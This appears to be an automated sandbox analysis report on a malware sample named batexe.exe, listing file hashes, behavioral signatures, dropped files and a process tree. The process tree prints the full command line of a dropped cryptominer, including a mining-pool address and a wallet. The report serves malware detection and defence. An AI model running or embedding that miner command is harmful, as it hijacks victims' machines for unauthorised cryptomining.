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Analysis
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max time kernel
294s -
max time network
297s -
platform
windows10-1703_x64 -
resource
win10-20231215-ja -
resource tags
arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
11/02/2024, 15:58
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 1480 b2e.exe 2924 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 2924 cpuminer-sse2.exe 2924 cpuminer-sse2.exe 2924 cpuminer-sse2.exe 2924 cpuminer-sse2.exe 2924 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/4756-5-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4756 wrote to memory of 1480 4756 batexe.exe 74 PID 4756 wrote to memory of 1480 4756 batexe.exe 74 PID 4756 wrote to memory of 1480 4756 batexe.exe 74 PID 1480 wrote to memory of 2996 1480 b2e.exe 75 PID 1480 wrote to memory of 2996 1480 b2e.exe 75 PID 1480 wrote to memory of 2996 1480 b2e.exe 75 PID 2996 wrote to memory of 2924 2996 cmd.exe 78 PID 2996 wrote to memory of 2924 2996 cmd.exe 78
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4756 -
C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A71D.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2924
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6.9MB
MD51072c971cc049056302d7bb0d7bfacc2
SHA1352aaa322919826fe8fe118ce9343b8bfaf19362
SHA2568e190818d473348ccc1d318bc67a90fc578a667a2c8cf229058f59a5e4b11edb
SHA512de133efe71334ad86bcbb7916984adae3ffbc3f148d8d9ee05e466c2ed202ece1e11bd689fcc7936b8b98a1b5607670ceae7bd91c9d723ba4a2f35e72400c944
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Filesize
5.7MB
MD50ef8c2f91ec8b01748b4f54fe20e28a0
SHA1c544219697e1d58bf348e5fb609a4dab50822440
SHA256735fbff3a41e3502e586fbd8030bfe6f8c2b16d6a17eae3fa6ccbe0d65dfbed1
SHA512103ac47d533cde2a5e1985809905bc244cfb76453653e8111035023e7c9440b88cdbecb8d80539680bc26015162419e6443b1443d751e96b91bee8fe50a0e668
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
992KB
MD5e3b4df1fb5b552db700efc82675215d7
SHA1f094d67f9b28cb6cec54ebb40bcd8c6cef82483b
SHA2566aa71aea7a6ab9498e56de0c5d7a681760001166b80cc28ab4fda5272b01659c
SHA5120b2f5c0c55340774f9f33f68810bcc9b493c39cb8f8f68df5cc4731a0329519f2c0e25d13f875cef308824acead026968afb4be767347ce2248e9a7270f174d5
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Filesize
1.9MB
MD5827e8d26b36b7574a2bf14459a3eda77
SHA14ac43a7fa826db1d6c98af0af8f628aa4b48cb62
SHA25636ff800afe8285205fd55018ed1f0108e4bc41f2636921d7153eac4a3696a688
SHA51228f20c8ed5260ad38a2523f03d88fc99044f6d864b30e4324d94547024aab8bd3619c68fd85e482179292bec1049bebda7816d6c6b560e828e11bd3da1d07c0a
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.7MB
MD56ce361c1ea446c83816606206115c85a
SHA137b113efae2e5654e98e8a3f6a48bec3dd02c694
SHA256579d89f2fbf6af9d7ca9695391d4a9ee9327ec523f8d638439a0fe471c1a09e0
SHA512f6371324305a1d4c759541a0dabb0489db30b6acd8efeaaefc946b5057a381b211731b3f6ecc3cbd244aa1d519f9090e36663435db6fd488bdae034086c06257
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
1.4MB
MD56209d231684a8f2e5e435f52c37246d1
SHA1b86fbebd13d623ebc5765543b2ef075f41e57c7c
SHA256d63535da6cdab2c1a2fe1620c6a418ba16e60f52545f5719bb88e7313f63de9c
SHA5129d4d2d39827ebd76373a3cb02ccdc6b70737b4842aa9e9949f3c411502feda78d8c60e0612261f2b0491c928f3807c5d43030fae8d7192f265cd42fa356c9f09
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Filesize
1.3MB
MD534186df6e816c9b91f65fe8b0fa96fe5
SHA12fea770bd6833789725218bbb25902fb19a28c12
SHA2565c731b2720104387b43feead835cb0776d5ed9c8b6e81069f454091eb2e24205
SHA51294a12fb072270111e01afc14122b69df90fc79e1cece3eb611395b48d651d345f38d248a5a47e555fe98418f1a595ad5822de1ad4dca29f9ddfe7f8bca380fc0
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770